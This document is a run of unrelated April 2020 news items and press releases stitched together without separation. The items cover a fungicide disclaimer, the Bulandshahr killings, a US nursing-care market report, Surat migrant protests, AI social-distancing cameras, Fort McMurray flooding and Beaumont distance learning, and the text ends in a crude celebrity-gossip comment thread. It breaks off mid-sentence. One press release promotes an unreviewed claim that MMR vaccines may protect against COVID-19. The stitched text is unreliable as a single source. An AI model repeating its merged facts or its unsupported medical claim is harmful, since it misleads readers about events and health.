biological fungicide for use on the labeled crops. Additional information can be viewed at the Company's website www.beevt.com. To receive regular news updates from the Company, subscribe at www.beevt.com/newsletter. Contact: Ashish Malik, President & CEO info@beevt.com Babak Pedram, Investor Relations Virtus Advisory Group Tel: 416-995-8651 bpedram@virtusadvisory.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Certain statements contained in this press release constitute "forward-looking information" as such term is defined in applicable Canadian securities legislation. The words "may", "would", "could", "should", "potential", "will", "seek", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions as they relate to the Company, "annual revenue potential", are intended to identify forward-looking information. All statements other than statements of historical fact may be forward-looking information. Such statements reflect the Company's current views and intentions with respect to future events, and current information available to the Company, and are subject to certain risks, uncertainties and assumptions, including: planted acres of strawberries in Florida, selling price of competitive chemical pesticides and the US to Canadian dollar exchange rate. Material factors or assumptions were applied in providing forward-looking information. Many factors could cause the actual results, performance or achievements that may be expressed or implied by such forward-looking information to vary from those described herein should one or more of these risks or uncertainties materialize. These factors include changes in law, competition, litigation, the ability to implement business strategies and pursue business opportunities, state of the capital markets, the availability of funds and resources to pursue operations, new technologies, the ability to protect intellectual property rights, the ability to obtain patent protection for products, third-party intellectual property infringement claims, regulatory changes affecting products, failing research and development activities, the ability to reach and sustain profitability, dependence on business and technical experts, the ability to effectively manage business operations and growth, issuance of debt, dilution of existing securities, volatility of publicly traded securities, potential conflicts of interest, unlikelihood of dividend payments, the potential costs stemming from defending third-party intellectual property infringement claims, the ability to secure relationships with manufacturers and purchasers, as well as general economic, market and business conditions, as well as those risk factors discussed or referred to in the Company's Filing Statement dated May 29, 2015, filed with the securities regulatory authorities in certain provinces of Canada and available at www.sedar.com. Should any factor affect the Company in an unexpected manner, or should assumptions underlying the forward-looking information prove incorrect, the actual results or events may differ materially from the results or events predicted. Any such forward-looking information is expressly qualified in its entirety by this cautionary statement. Moreover, the Company does not assume responsibility for the accuracy or completeness of such forward-looking information. The forward-looking information included in this press release is made as of the date of this press release and the Company undertakes no obligation to publicly update or revise any forward-looking information, other than as required by applicable law. All figures are in Canadian dollars. ### To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54985 The world is held anxious and spellbound, as we collectively fight to eradicate the spread of the novel Coronavirus. With some countries recordings lowercases and effectively flattening the curve, it is important to collectively stay hopeful of winning the war against the vicious virus. One organization leading the way in maintaining hope is Ghanas first private international school. Soul Clinic International School, which was founded 1968 and featured in Westminsters celebration of the commonwealth, on Thursday 23rd April 2020 had the school fully disinfected and sanitized. The disinfection procedure was carried out by the staff of Zoomlion Ghana Limited and was done to prepare properly for reopening the third term. In a message to media, the school management preached a message of calm, Do not fear. Fear not. When God grants mercy because of his love for mankind, we must also repent from habits and mindsets that arent pleasing him, said a rep. The school has maintained an attitude of optimism, while staying in touch with Parents and Students, in the hope that they can spread the calm. The school, whose 50th-anniversary motto was A renewed mind for growth, encourages the public to guard the boundaries of their minds, hearts, and souls. In a solemn line of the prayer, the Schools rep stated, We commit our Doctors, Health Workers, Governments, Teachers and all professionals contributing so much good to the service of others around the world, into Gods hands. The school ended its message to the Press by encouraging students across the globe to continue learning and building their knowledge, in order to confront pandemics of the future, while asking everyone to keep the compass of their souls pointing up. Lucknow: Congress General Secretary Priyanka Gandhi Vadra and Shiv Sena leader Sanjay Raut lashed out at the Uttar Pradesh government over deteriorating law and order situation in the state amid killing of two saints in Bulandshahr district. "Today in Bulandshahr, two sadhus were murdered while they were sleeping. The truth must come out after investigation in this heinous crime and at this stage nobody should politicize this issue," Priyanka said. She added, "In UP before April 15, about 100 people have been murdered. Three days back in Etah, five of a Pachauri family have been killed so mysteriously that no body knew what has happened." The Congress leader urged the UP government for thorough and fair investigation to bring out the truth behind the murders as it is the state government`s responsibility. Shiv Sena's Sanjay Raut too condemned the Bulandshahr killing. He tweeted, "Terrible ! killing of two saints , sadhus at a temple in bulandshahar,UP ,but i appeal to all concerned to not make it communal the way they tried to make palghar,maharashtra incidence." On April 28 morning, two seers were found murdered inside a Shiva temple at Pagona village of Bulandshahr. The murder came to light when people reached the temple and saw the blood-soaked bodies. According to reports, the deceased have been identified as Jagandas (55), and Sevadas (35). The priests were the resident of Anupshahrs village Pagona and were serving in the temple for the past 10 years. The bodies of the two seers have also been sent for post-mortem and the report is awaited. The Bulandshahr Police has meanwhile launched an investigation into the matter. Chief Minister Yogi Adityanath has taken cognizance of the incident and directed the district officials to reach the site of crime and inform him of the investigations. He has also ordered strict action against the accused. Dublin, April 28, 2020 (GLOBE NEWSWIRE) -- The "Nursing Care Market in US - Industry Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering. The US Nursing Care Market is expected to grow at a CAGR of over 5% during the period 2019-2025. This study considers the present scenario of the US nursing care market and its market dynamics for the period 2019-2025. It covers a detailed overview of several market growth enablers, restraints, and trends. The study offers both the demand and supply aspects of the market. It profiles and examines leading companies and other prominent ones operating in the market. The US nursing care market is expected to be driven by the rising incidences of chronic disorders, which can be attributed to an unhealthy and sedentary lifestyle. The outbreak of COVID-19 provides a timely opportunity for the US nursing care market to address the surge in demand for nurses and to contain the outbreak. These nurses can help in coronavirus screening and improve the overall preparedness to counter the pandemic. The prevalence of chronic diseases is likely to increase the number of people having disabilities over the coming years. According to the WHO, 60 to 85% of the population worldwide does not engage in activities, making physical inactivity the fourth leading risk factor for global mortality. This lifestyle is expected to increase in the future as more and more jobs require sitting in the office for a long time in the US. Moreover, the share of the geriatric population in the US is also increasing at a rapid rate. It is expected that the geriatric population share will be more than 20% by 2030. Hence, the increase in a sedentary lifestyle, along with the growth in the elderly population, is expected to increase the demand for nursing services. Market Dynamics Opportunities & Trends Technological Developments Increasing Sedentary Lifestyle Increasing Health Awareness Value-Based Purchasing and Patient-Driven Payment Model Growth Enablers Increasing Geriatric Population & Chronic Diseases Health Insurance Reforms Changes In Social Patterns Increasing Nurse Education Restraints Shortage of Nurses Presence of Stringent Government Regulations US Nursing Care Market: Segmentation This research report includes a detailed segmentation by service type, expenditure, gender, and geography. The rise in the geriatric population, coupled with increasing chronic diseases and age-associated diseases, is expected to boost the hospice segment. Hospice programs generally are home-based; however, they sometimes provide services in freestanding facilities, in nursing homes, or within hospitals. Telemedicine is growing in the hospice industry, which is expected to boost the segment. The technology is trying to extend its services to outpatient settings to improve care coordination. The demand for home healthcare is expected to rise as an increasing number of patients have been choosing to receive medical services at home for several health challenges, including rehabilitation and chronic disease management. The largest end-user of this facility is the elderly population as this age group faces several health challenges and has progressively opted for home services over nursing home care or inpatient facility at hospitals. Based on gender, the assisted living facility market is segmented into women and men. Women held the dominant share in 2018-2019, and the segment is expected to grow at a faster rate during the forecast period. Greater life expectancy of women, high savings, increased retirement savings, increased women employment opportunities, higher disability, and chronic health disorders rates are some of the major factors behind the dominance of female gender in assisted living facilities. The growing aging population, favorable reimbursement scenario with increasing needs, and rising prevalence of chronic diseases in the country will propel the need for skilled nursing facilities. Besides, the lower costs of skilled nursing facilities than hospitals will drive the market. However, factors such as the existence of specialized services such as assisted living facility, hospice, and home healthcare can hinder the market growth. Furthermore, the rise in utility and food costs, real estate taxes, and insurance could negatively affect the US nursing care market. The increasing government support for the US nursing care market is expected to further fuel the market revenue. For instance, Medicare, in 2016, spent around $79 billion on skilled nursing facilities and home health services combined, which was over 20% of all long-term service and supported spending. This kind of support from the US government is expected to strengthen the US nursing care market further. Of the total Medicare long-term service and supports spending, 49% was paid to home health agencies, and 50% was paid to skilled nursing facilities. Hence, these types of support from federal agencies are likely to contribute to the segment growth during the forecast period. The growth in the private insurance market, coupled with increased funding received through philanthropic fund-raising organizations such as the United Way, is boosting the growth of the private expenditure segment. For instance, private health insurance comprises around 15% of total nursing care expenditures in 2019. With longer lives, higher rates of disability and chronic health challenges, and lower incomes than men, on average, several women need long-term medical services, which is positively affecting the segment growth. Moreover, women are also the primary providers of long-term medical services, as the vast majority of both paid formal long-term medical workers and unpaid informal caregivers are women. The availability of female nurses allows more women to opt for these services. Also, women have a longer life expectancy than men, outliving men by about five years on average. Therefore, with the increasing age and growing disabilities among women, the need for a medical facility is expected to increase, thereby driving the segment growth. Furthermore, more than 70% of people getting admitted to nursing facilities are women. Almost two-thirds of the paid home care users and unpaid care recipients are women. The demand is further expected to increase among women owing to their improved savings, increased employability, high literacy, the surge in divorce cases, and an increase in chronic diseases. The male segment is comparatively smaller than the female segment. However, it is expected to rise as several men are getting admitted to nursing care facilities or taking medical services at their home. Also, some patients feel uncomfortable with female nurses caring, thereby increasing the demand for males. However, the demand among men is expected to remain stagnant compared to females. Market Segmentation by: Service Type Hospice Home Healthcare Assisted Living Facility Skilled Nursing Facility Expenditure Public Private Gender Male Female Insights by Vendors The US nursing care market is in the growth stage, and it has achieved popularity and high penetration in developed countries such as the US. The market consists of a few major players, which include Brookdale Senior Living, Sunrise Senior Living, Diversicare, Amedisys, Kaiser Permanente, Ensign Group. The rapidly changing technological environment such as telemedicine could benefit both nursing care companies and patients. The present scenario is driving companies to change and refine their unique value proposition to achieve a strong market presence. Several trends will contribute to the growth of the senior living industry in the coming years. Due to demographic trends, and continuing medical healthcare advances, the senior population will continue to grow, which is expected to increase the demand for senior housing and healthcare services in future years. Key Vendors Brookdale Senior Living Sunrise Senior Living Diversicare Amedisys Kaiser Permanente Ensign Group Other Prominent Vendors 24/7 Nursing Care A-1 ACTION NURSING CARE A-1 Nursing Care AdventHealth Affinity Living Group All Ways Caring Allamericancare American House Apple Home Healthcare At Home Healthcare At Home Nursing Care Atria Senior Living BAYADA Home Health Care Bickford Senior Living BrightStar Care Bristol Hospice Brotoloc North Capital Senior Living Century Park Compassionate Nursing Services Elmcroft Senior Living Encompass Health Enlivant Erickson Living Evangelical Community Hospital Frontier Management HCR ManorCare Holiday Retirement Hospice of Southern Illinois Hospice of the Valley Human Touch Home Health Care LCS Life Care Centers of America Living Assistance Services Nurse Care of North Carolina Nurse Next Door Pacifica Senior Living Preferred Care Premier Home Health Care Services PruittHealth Right at Home Senior Lifestyle Seasons Hospice & Palliative Care Senior Care Centers Trinity Health Valeo Home Health & Hospice Visiting Nurse Service of New York VITAS Key Market Insights The analysis of the US nursing care market provides sizing and growth opportunities for the period 2019-2025. Offers sizing and growth prospects of the market for the forecast period 2020-2025. Provides comprehensive insights on the latest industry trends, forecast, and growth drivers in the market. Includes a detailed analysis of growth drivers, challenges, and investment opportunities. Delivers a complete overview of segments and the regional outlook of the market. Offers an exhaustive summary of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage. For more information about this report visit https://www.researchandmarkets.com/r/njf79f Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Representational picture Hundreds of migrant workers in Gujarat's Surat on April 28 staged a protest, for the third time in less than a month, demanding that they be allowed to return to their native states. According to a report in The Hindu, the incident occurred at Surats Diamond Bourse. Migrants reportedly damaged several vehicles and threw stones, damaging glass windows at the construction site. Subsequently, the authorities called the police to control the situation. On reaching the site, the police tried to appeal to the migrants to remain calm. In a similar incident in Dindoli area of Surat, hundreds of migrant labourers protested on the railway tracks, demanding that they be allowed to go to their villages. Stones were thrown at policemen who tried to push the protesters into their homes. Similar protests were witnessed on April 14 after a sea of migrant workers gathered in Gujarats Surat as they demanded that arrangements be made to facilitate their return to their home towns. The migrants gathered in the Varachha area of the city and squatted on a road to press for their demand to be sent back. Ever since the lockdown was announced, Surat has witnessed several incidents of migrants turning violent as authorities try to keep them from leaving for their native villages in Uttar Pradesh, Bihar, Odisha and Madhya Pradesh. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show A total of 51 coronavirus deaths have been reported since Monday evening, of which 27 fatalities were from Maharashtra, 11 from Gujarat, seven from Madhya Pradesh, five from Rajasthan and one from Jammu and Kashmir. Of the 937 deaths, Maharashtra tops the tally with 369 fatalities, followed by Gujarat at 162, Madhya Pradesh at 113, Delhi at 54, Rajasthan at 46 and Andhra Pradesh and Uttar Pradesh at 31 each. A screenshot of the recorded altercation between a police and a foreigner over a quarantine violation MANILA, Philippines The Philippine National Police (PNP) on Monday said it has ordered an investigation into the clash between a police officer and a foreign national living in a village in Makati City that took place over the weekend. In a statement, PNP spokesperson Police Brigadier General Bernard Banac said Police chief General Archie Gamboa has directed the National Capital Regional Police Office (NCRPO) to look into the incident. The cop, identified as Police Senior Master Sergeant Roland Von Madrona, was recorded in a video arguing with a foreigner named Javier Parra outside his residence in Dasmarinas Village. Madrona was conducting a patrol in the village, together with Bantay Bayan personnel Esteban Gaan on the afternoon of April 26 when he noticed Parras house helper, Cherilyn Escalante, watering the plants outside without wearing a face mask. The Makati Police said the patrol was conducted as per request of Barangay Dasmarinas chairperson Rosana Hwang. Madrona claimed he politely approached and advised the maid to wear a face mask for her safety. The helper then went inside the house, but minutes later, Parra and his wife, Abegail Salvador went out of their residence and confronted the police officer. In the video, Parra can be seen and heard throwing foul words at the cop, and supposedly lectured him on how to implement the quarantine protocols. The foreigner also allegedly shouted at Madrona to get off his property. The cop tried to arrest the furious foreigner, but Parra evaded and went inside his house. Gamboa defended the cop involved in the incident, saying he was only enforcing quarantine protocols set by the government. It is in the best interest of public health, order and safety that the PNP is enforcing ECQ rules and local ordinances to contain the spread of COVID-19, he said in a statement. The Makati City Police are set to file charges against Parra for his alleged violation of the Revised Penal Code, Republic Act 11332 or the Mandatory Reporting of Notifiable Diseases and Health Events of Public Health Concern Act, and a local ordinance which mandates the wearing of a face mask in public, as well as verbal assault. Story continues The Barangay Dasmarinas also said it is preparing to file similar complaints against the foreigner. This resident was on the street and sidewalk which belongs to DVA common area, therefore a public place. He was committing a crime in the presence of the officer and could be arrested even if he retreated to his property, it said in a separate statement. RRD (with details from Correspondent Lea Ylagan) The post Probe ordered into clash between cop, foreigner in Makati village PNP appeared first on UNTV News. Cooperation with Deutsche Bahn, Ukrzaliznytsia's IPO put on hold minister 20:59, 28.04.20 2231 Ensuring the company's financial stability is a priority now. Source: Xinhua| 2020-04-28 18:22:07|Editor: huaxia Video Player Close JERUSALEM, April 28 (Xinhua) -- Israeli Prime Minister Benjamin Netanyahu warned during a Memorial Day ceremony on Tuesday that his country "will always be prepared for a military campaign to fight off threats." The remarks were made at Mount Herzl, Israel's national cemetery, in Jerusalem during the main ceremony of the Memorial Day to commemorate fallen soldiers and people killed in attacks. As part of the country's efforts to halt the novel coronavirus outbreak, the somber ceremony, typically attended by hundreds of bereaved families and senior officials, was attended by 19 officials, including President Reuven Rivlin who stood in distance wearing masks. Netanyahu himself did not attend the ceremony but sent pre-recorded remarks on video. He warned that "everyone needs to know that we will always be prepared for a military campaign to fight off threats." Israel was starting to come out of the lockdown over the past few days but the government decided to tighten the restrictions to prevent big gatherings during the Memorial Day and the following Independence Day. At the beginning of the Memorial Day on Monday, most cemeteries in the country were shut down under government requirements, in order to prevent bereaved families from visiting the graves of their loved ones. Families typically visit the graves of their fallen relatives on this day. Hundreds of ceremonies that were typically held in cemeteries, city halls, and schools were canceled, or instead, being held with the attendance by a small number of participants or online. The commemoration of the Day of Remembrance of Fallen Soldiers is marked a week after the Holocaust Remembrance Day, and precedes the celebrations of the Israeli Independence Day which will begin on Tuesday evening and continues through Wednesday. Enditem Stores and workplaces eager to avoid spreading the novel coronavirus are equipping existing security cameras with artificial intelligence software that can track compliance with health guidelines including social distancing and mask-wearing. Several companies told Reuters the software will be crucial to staying open as concerns about COVID-19, the respiratory illness caused by the virus, persist around the world. It will allow them to show not only workers and customers, but also insurers and regulators, that they are monitoring and enforcing safe practices. The last thing we want is for the governor to shut all our projects down because no one is behaving, said Jen Suerth, vice president at Chicago-based Pepper Construction, which introduced software from SmartVid.io this month to detect workers grouping at an Oracle Corp project in Deerfield, Illinois. Samarth Diamond plans to deploy AI from Glimpse Analytics as soon as its polishing factory re-opens in Gujarat, India, while two Michigan shopping centers owned by RPT Realty will have distancing tracking from RE Insight in two weeks. Buyers expect the technology will work because they already have used similar tools to profile shoppers entering stores and find helmet scofflaws on construction sites. Get Too Close, Get Buzzed. Ford Tests Wearables to Keep Workers at Safe Distances. Ford Motor Co. is experimenting with wearable social-distancing devices. The watch-like wearables vibrate when employees come within six feet of each other. Learn more. Employers Deploy Spy Software to Monitor At-Home Workers Digital surveillance has been used for years on office desktops, yet it seems a violation of privacy to a lot of workers when theyre in their own homes. Learn more. Why Less Data May Be More for Employers Using Wearables in Workplace While some employers may want to deploy the technologies as much as possible, employers would be wise to limit the data they collect with wearables. Learn more. But some technology consultants that advise retailers and office landlords have cautioned clients against introducing new technology at a chaotic time and investing in tools that may be needed only for a period of months. Privacy activists concerned about increasingly detailed tracking of people also are urging businesses to limit use of the AI to the pandemic. The question becomes whether the tech remains after the public health problem goes away, and that is the real privacy fear, said Al Gidari, a privacy expert at Stanford Law School. Video in the store today to ensure social distancing remains to identify shoplifters tomorrow. Computer Vision Reuters spoke with 16 video analytics companies, many of them startups with a few million dollars in annual revenue, that have added offerings because of the coronavirus. Their systems can be set to produce daily reports, which site managers can use to correct recurring problems and document compliance. Most work on a branch of AI technology known as computer or machine vision in which algorithms are trained on image libraries to identify objects with confidence of 80% or higher. Several customers said the technology, which can cost $1,000 or more annually to analyze data from a handful of off-the-shelf video cameras, is cheaper than dedicating staff to standing guard. It also can be safer, as some guards enforcing distancing have clashed with people protesting safety measures, they said. Pepper Constructions Suerth said its SmartVid system has not flagged crowding issues yet because staffing has been limited. But Suerth said that as more crews arrive, the company will look at trends to issue reminders at tool box talks. Its another set of eyes on the site, Suerth said, adding that software is less prone to mistakes than people and the accuracy were seeing is really high. Samarth Diamond manager Parth Patel said he could adjust procedures when the software identifies spots where his 4,000 workers are clumping together in busy areas. People tagged as not having masks quickly would be offered one by a team reviewing camera feeds, Patel said. It will surely be helpful for the safety of employees and their comfort level, and it will be helpful to show it to authorities that we are adhering to regulations, Patel said. Patel said he has confidence in the algorithms after his family successfully used computer vision last year at supermarkets it owns to count female shoppers and decide where to stock a new line of dresses. RPT Realty, which Chief Executive Brian Harper said had used camera software to count visitors over the past few months at two of the 49 open-air shopping centers it owns in the United States, is moving to assess tenants compliance with reduced occupancy regulations across five malls. It also plans to help consumers decide when to shop by using technology from startup WaitTimes to analyze lines of people waiting to enter stores, a phenomenon that has become common during the pandemic as part of social distancing efforts. Signage will inform shoppers of the anonymous counting, according to Harper. You can never have too much data at your hands, Harper said. But calculating whether people are six feet (1.8 meters) apart and detecting objects such as face masks are all novel uses now being tested and launched on accelerated schedules. Some startups even promise to spot sneezing and coughing, claims that drew skepticism from some experts. Most solutions will be in uncharted territory, without a proven track record, and likely susceptible to false-positives and bugs, said Vinay Goel, a former Google Maps product leader who is now chief digital products officer at the tech unit of real estate services giant Jones Lang LaSalle Inc. Beside costs, businesses are concerned AI will trigger too many reports of non-problems, like a family walking close together in an aisle, retail consultants said. Indyme, a technology vendor that works with BevMo!, Office Depot and other U.S. retailers, said that its clients have preferred rudimentary boxes that can count people at entrances and automatically announce, For your safety, please maintain a social distance of six feet, thank you. (Reporting by Paresh Dave; Editing by Greg Mitchell and Will Dunham) Topics COVID-19 InsurTech Commercial Lines Tech Business Insurance Data Driven PR-Inside.com: 2020-04-28 13:52:04 Evidence suggesting possible protection from MMR vaccines against COVID-19 discovered by Dr. Larry P. Tilley in March 2020 corroborated by new evidence from UK scientists ATLANTA, April 28, 2020 (GLOBE NEWSWIRE) -- World Organization Advisory Board Member Dr. Larry Tilley is investigating a possible link between MMR vaccines and COVID-19 . Tilleys investigation began on March 25, 2020 when he discovered epidemiological data suggesting a possible protective effect from common measles-rubella containing vaccines like MMR. Epidemiological data from country after country seems to suggest expanded measles-rubella containing vaccination programs correlate with lower morbidity from COVID-19, said Tilley. A possible biological mechanism for the protective effect of measles-rubella vaccines was described in an unreviewed study published recently by scientists at University of Cambridge. This study appears to corroborate for the first time Tilleys own COVID-19/MMR work submitted to the National Institute of Healths COVID-19 research team on March 29, 2020. About Dr. Larry P. Tilley Dr. Larry P. Tilley is a board-certified internist and medical consultant who currently assists over two dozen pharmaceutical companies in the development of new medications and protocols. About World Organization World Organization is a 501c3 nonprofit charity based in Atlanta, Georgia. Photos accompanying this announcement are available at https://www.globenewswire.com/NewsRoom/AttachmentNg/607bf837-1230-4195-9c5f-f700d2534432 https://www.globenewswire.com/NewsRoom/AttachmentNg/99dd0adc-efb7-4ddc-90af-61933c07dfa2 The Regional Municipality of Wood Buffalo, which includes Fort McMurray the hub of Albertas oil sands business has issued a mandatory evacuation order for all of downtown Fort McMurray after a river flooded the area. There hasnt been any flooding to sites of oil companies with operations in the area, Karim Zariffa, executive director of the Oil Sands Community Alliance (OSCA), told Reuters. Some of the oil sands firms are helping to pump water out of flooded areas by sending emergency staff, Zariffa told Reuters. The ice on the Athabasca River broke on Sunday and resulted in major flooding, also prompting a secondary state of local emergency in the area, which is already under a state of emergency due to the coronavirus pandemic. Natural disasters in the Fort McMurray area are nothing new. Back in 2016, major wildfires forced oil sands companies in the area to evacuate thousands of oil workers and shut down operations. This years wildfire season has yet to come, but Fort McMurray is already grappling with efforts to contain the pandemic and with the new disasterthe flooding. As if natural disasters werent enough, Fort McMurray and Albertas oil industry are struggling with the oil market disaster these days, after prices started plunging in early March following the (temporary) end of the OPEC+ deal and the massive oil demand loss in the pandemic. Canadian producers have already started shutting down steam-driven oil sands production projects, Reuters reports, noting the move could have dire long-term consequences for the production facilities. Husky Energy cut its oil sands output by 15,000 bpd. Cenovus reduced its production by 45,000 bpd and said it could raise this further to 100,000 bpd, nothing a cut of this size wouldnt damage the bitumen reservoirs. ConocoPhillips said it would cut its oil sands output by as much as 100,000 bpd. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: A development deal will bring two popular restaurants to downtown Homewood next year. Pihakis Restaurant Group and Capstone Real Estate Investments have announced plans to develop new locations of Rodney Scotts BBQ and Little Donkey Mexican Restaurant along the block at 28th Avenue South and 18th Street South near The Valley Hotel, part of the Curio by Hilton concept. The restaurants will sit side-by-side and are scheduled to open in the spring or summer of 2021. Rodney Scott, a Pihakis Restaurant Group partner and winner of the 2018 James Beard Award for Best Chef Southeast, brought his South Carolina style of Whole Hog BBQ to Avondale early last year. Little Donkey, part of Homewood for eight years, was founded by Joshua Gentry, a Homewood resident and Pihakis Restaurant Group partner. Its current Homewood location is on Central Avenue, with others in Montgomery and Hoover. PITTSFIELD A Pittsfield man was being held Tuesday in lieu of $120,000 bail after his arrest on sexual assault charges. Clayton G. Watts, 21, of Pittsfield was arrested Monday on a Pike County warrant accusing him of criminal sexual assault and aggravated criminal sexual abuse, both felonies. Two schools in Beaumont Independent School District that partner with Phalen Leadership Academy plan to distribute laptops to every student by mid-May as part of their distance-learning plan put into place after the coronavirus closed campuses in March. While some parents have embraced the packet-first, technology-later approach the charter partners introduced, others have concerns about lack of connectivity and comprehension of the materials. I think parents have been understanding of the times, Smith Middle School Principal Renee Lee told The Enterprise. If it had just been our school, I think we would have seen a lot more push back. But since it is a nationwide pandemic, everybody understands that we are in the same boat. Phalen Leadership Academy is a nonprofit that operates 22 schools in five states, which founder and CEO Earl Phalen said gave them the opportunity to start preparing distance-learning materials early so that printed packets with about 3 weeks of materials were available shortly after campuses closed. When COVID-19 first hit, our first and foremost priority was to care for the health and nutritional needs of all of our students, because most of our schools have all free and reduced price lunch, Phalen said. So we had to make sure that since school is such an important place for breakfast, either snack or lunch and dinner that we had to keep that going. After that, packets were distributed as a temporary measure to keep students engaged while the charter operator developed more robust online lessons. It is packets, not actual instruction, so if you are doing a problem wrong in math you may be doing it wrong all week, so that is the down side, Phalen said. But the upside is if you are doing it right and you practice, and you stick with it you continue to develop those skills. Alaine Frankiewicz, who oversees the region that includes Smith Middle School and Jones-Clark Elementary School, said the schools have regular contact with parents. We have daily contact calls as well as online video lessons with our scholars, Frankiewicz said. Some teachers are more comfortable right now with online, and we are strategically training all of our teachers for the online learning system Blackboard. The online roll-out has happened over the last two weeks, but has been hampered in-part by a delay in the distribution of the laptops originally slated to be delivered this week. Some parents dont have vehicles to pick up the packets, and when they switched to online learning, not everyone has the devices, Kim Berly, who has a child at Smith Middle School, said. Packets and other learning materials have sufficed for her son, but Berly said she hopes the school is able to distribute working laptops. For families with connectivity problems, the district has partnered with T-Mobile to provide personal wireless devices. As of last week, Smith Middle School was unable to contact 48 of the schools 589 students, despite efforts including wellness checks, calls and mailers, Lee said. Some parents who were contacted felt that the communication was insufficient. Otis Berry Jr., who has a son that attends Smith Middle School, said teachers have rarely checked in; and when they have, they didnt check on the completion of work. These people are too far behind, Berry said. My son is so bored he cant do the work that they give him. Berry said he will switch to a separate homeschooling program for fear the current courses will leave his son too far behind. Unlike the packets, the online system that will be administered to students include 30 lessons in core subjects like Language Arts and Math led by top teachers from various Phalen Schools. That framework was provided to Lee, who tailored it for her campus a comfort for the principal who started in the position in January. Phalen has been really good at giving us direction and providing a framework for us to follow, she said. We just have to basically put in our puzzle pieces as they fit inside of the framework with our partnerships. Phalen said his organization is cognizant of situations like Berrys and is working to accommodate students from a wide variety of circumstances. We are trying to put in our best effort, but that varies, and there is no set standard, Phalen said. It is different for a child who lives in a home that has six rooms and they are able to go to a private room and sit in a quiet desk and work on their piece after they have a delicious breakfast, rather than some of the other housing circumstances which our children live in. That disparity is something Phalen said they are working around. People are losing loved ones and there is not even an opportunity to really grieve in the same way, Phalen said. And there is a greater stress right now on all households of America, but particularly those who have fewer resources. We have to have grace during this period and to understand that it is your best effort. And we appreciate that the scholars are making that effort and that the families are trying to walk beside them. In an effort to ensure students have all opportunities to learn, lessons and materials will be available for students and parents past the last day of school. We are not going to stop when the traditional calendar stops, Phalen said. We are going to employ several of our teachers to continue to support our scholars so we dont lose another two months. Technical support and weekly materials pick-ups also have been provided at the two schools, with the most recent including physical education items such as jump ropes and art supplies like sidewalk chalk. isaac.windes@hearstnp.com twitter.com/isaacdwindes India's Ambassador to the UN Syed Akbaruddin on Tuesday took to Twitter to post photos of how the pollution levels had drastically dropped in Delhi during the lockdown. Sharing a before and after photo of the same location of electricity pylons from October 2019, and April 2020 in New Delhi, Syed Akbaruddin spoke about how there had been certain 'unintended consequences' of this time-lapse. In the photos, while the skies seem to be visibly clear, ridden free from pollution amid the lockdown, there were however no birds visible near the towers anymore. Read: 'India Leading The Battle Against COVID-19': Syed Akbaruddin Praises Govt's Efforts Unintended consequences. Same place...same photo journalist What a difference time has made... P.S: Where have the birds gone? pic.twitter.com/e3r9z0LGGs Syed Akbaruddin (@AkbaruddinIndia) April 28, 2020 Syed Akbaruddin to retire India is set to get a new permanent representative to the United Nations as the current envoy, Syed Akbaruddin, is to retire soon. As per sources, TS Tirumurti, currently Secretary in the Ministry of External Affairs (MEA), is to be appointed as the next ambassador to the UN, based in New York. Syed Akbaruddin had gained particular fame after his efforts led to the proscription of Masood Azhar as a global terrorist, and with his outspoken and taking-on-all-comers approach to block China and Pakistan's attempt to raise the Kashmir issue at United Nations after the abrogation of Article 370. Syed Akbaruddin's strong representation of India thwarted China's plan of raking up Kashmir issue at United Nations Security Council (UNSC) at Pakistan's behest. Read: TS Tirumurti To Be Indias Next Envoy To The UN Succeeding Syed Akbaruddin: Sources Read: 'Better Late Than Never,' Quips Syed Akbaruddin As WHO Launches Hindi Covid WhatsApp Bot I appreciate the effort that went into this post. But lmao it does feel a bit like the Adam Corolla copy pasta where it's like "is this his publicist?" Reply Thread Link Like clockwork Reply Parent Thread Link i aim to please Reply Parent Thread Link Lol love the Jin tie in here Reply Thread Link project angel food is a wonderful organization in case anyone is looking to donate to covid relief. it saved countless lives at the height of the aids crisis and continues to do so for people with a variety of serious illnesses Reply Thread Link There hasn't been a military draft since 1973. Were they just worried it would be implemented again? Reply Thread Link Given Harry even refers to his fellow soldier with Middle Eastern origins as ethnic slurs and used two well timed and heavily coordinated "deployments" to cover up his dipshit antics, I would be astounded if he has any sympathy for the victims. Remember, this is the dude who vacations in parts of Africa and has charities to save the wildlife while also being an active hunter and gasping at the thought of raising his child anywhere in Africa due to ~violence~. Reply Parent Thread Expand Link Apparently when she was like 10 one of her classmates brother was gonna go fight. She was sad about seeing her friend cry and wanted to do something to make him feel better. So they put together a small protest at their school. Edited at 2020-04-29 12:43 am (UTC) Reply Parent Thread Expand Link lmao meghan married a royal racist i dont buy her schtick at all BUT imagine being poor doria - a woc wronged by a white man before and then her only kid goes on to marry a dude who was parading around wearing a swastika. it's anti black tbh Reply Thread Link [Meghan] said she wanted to do something to give back on Easter They could give back the money they took from us Canadians! It'd be really appreciated during this time of crisis :) Reply Thread Link lol I came here to say this. perfect comment tbh Reply Parent Thread Link I like this. She and Harry have done some dumb shit but she seems like a good person at heart. And I know it has zero to do with her personality and heart but I cant get over how beautiful she is. I think Im so used to seeing the 